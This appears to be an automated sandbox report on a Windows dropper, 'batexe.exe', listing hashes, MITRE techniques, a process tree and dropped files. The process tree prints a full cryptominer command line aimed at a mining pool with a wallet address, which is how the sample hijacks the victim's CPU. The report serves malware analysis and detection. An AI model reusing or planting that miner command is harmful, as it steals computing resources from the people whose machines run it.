73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11/02/2024, 15:21

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-768304381-2824894965-3840216961-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5308	b2e.exe
1716	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1716	cpuminer-sse2.exe
1716	cpuminer-sse2.exe
1716	cpuminer-sse2.exe
1716	cpuminer-sse2.exe
1716	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4164-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4164 wrote to memory of 5308	4164	batexe.exe	85
PID 4164 wrote to memory of 5308	4164	batexe.exe	85
PID 4164 wrote to memory of 5308	4164	batexe.exe	85
PID 5308 wrote to memory of 3608	5308	b2e.exe	86
PID 5308 wrote to memory of 3608	5308	b2e.exe	86
PID 5308 wrote to memory of 3608	5308	b2e.exe	86
PID 3608 wrote to memory of 1716	3608	cmd.exe	89
PID 3608 wrote to memory of 1716	3608	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4164
- C:\Users\Admin\AppData\Local\Temp\5CA7.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5CA7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5CA7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5308
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5FC3.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5CA7.tmp\b2e.exe

Filesize
5.8MB

MD5
8df4d1e07a73353f8638cc80bce4d38f

SHA1
bf9c8bd089fb4a377d49cb9e0eb8534abcb2fd64

SHA256
cd6adf8ba0c209c8146857f355760d7445357725afc631d58ee04fcd8518444b

SHA512
3d1297defc914047740681b2a177ca10c49f1d5080ed3ae2b2e8da1a32ba37e165cb325a9c1f6f83e5c012f21fa7ef06b4ad9356f0a625ead94c9dee5934b857

Download Submit
C:\Users\Admin\AppData\Local\Temp\5CA7.tmp\b2e.exe

Filesize
2.0MB

MD5
85512e3b5a9e92d236f47b7abb59cba4

SHA1
dd0086d08a28aef0d5ca4d44e5abc9ab5e172d31

SHA256
4d23ef0fc227ef659188d13229d22c0e6d7fa6336ace4042db02a11779fec786

SHA512
36d5a81646d4250e5dbf3212b9b86c2e7f98c9f8e8938f22c06c7aefb6f8237ce52004f08d1613bafb98d938e36b22bca3fdd610d8192737f330d8106323f739

Download Submit
C:\Users\Admin\AppData\Local\Temp\5CA7.tmp\b2e.exe

Filesize
1.7MB

MD5
eb27cc75dae5ffe7c963c2b17091df0b

SHA1
6a508c524362d86346732e24c092df9ecf83dfa9

SHA256
8ba23b480b5a8350629ba883a9f60ae041d16b69968650badd8529b7e8202236

SHA512
72831d6a87a60558e52f2d0e3e3f9186daee9538afe46534346963165f61e5c06bba1334bc8dbea7c36fda84d474128eb2c2c38884d14ff85131cc5a1fe63b17

Download Submit
C:\Users\Admin\AppData\Local\Temp\5FC3.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.3MB

MD5
448df14b5d08dd22b58897d4a4c51434

SHA1
ec1bca9a995308d182cb749998a75ff880c9410e

SHA256
22c6c9bd04e46a72053de3ecae10bab83690a6fa3227eb9da248e0bc4243279e

SHA512
59919a4d486244c949163529e6f8f4bcd775a8f93fdc0990a846fa1d927299338d8631e3adb28a4a382ccbb2b4b1cc7dc8cdd41a4b0ce8e87cc117137397fd8a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.4MB

MD5
976ddecec906ee6345b38342837591fa

SHA1
bbeb49a2d893932d72c13aa566db7bedc6df7347

SHA256
a9231199fca737901fd209351fb51a39c9b9d3fe9fcebc173db5dbc285537633

SHA512
ac0ad286f68ace0a042ec8fd30f26bffd9e5bca0b8c87640436fda3f1a392f2caf4b89434fe7f0ebd18656610a1de34025193efd58e7901549957dfc31d67fab

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.2MB

MD5
e5dde8fb7f3ec2fabb34d64bfb44a4f3

SHA1
842f0be2181b551ca2553769922ac96b34b8f9ea

SHA256
081fe8174e7cbd86f81c5b645365c494925c9f6decaa3756afac5b4ae5dd5bba

SHA512
9ec6c9ec737da968cfddf64149a8433e2252b193303c90da4f786d828b3772f56b40247f9d41e863d440904fdb888fdb3af33d0d33ed19744e2c6059ad9f4752

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1716-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1716-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1716-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1716-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1716-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1716-46-0x0000000073350000-0x00000000733E8000-memory.dmp

Filesize
608KB

Download
memory/1716-47-0x00000000010C0000-0x0000000002975000-memory.dmp

Filesize
24.7MB

Download
memory/1716-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1716-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1716-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1716-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1716-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1716-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1716-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4164-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5308-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5308-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download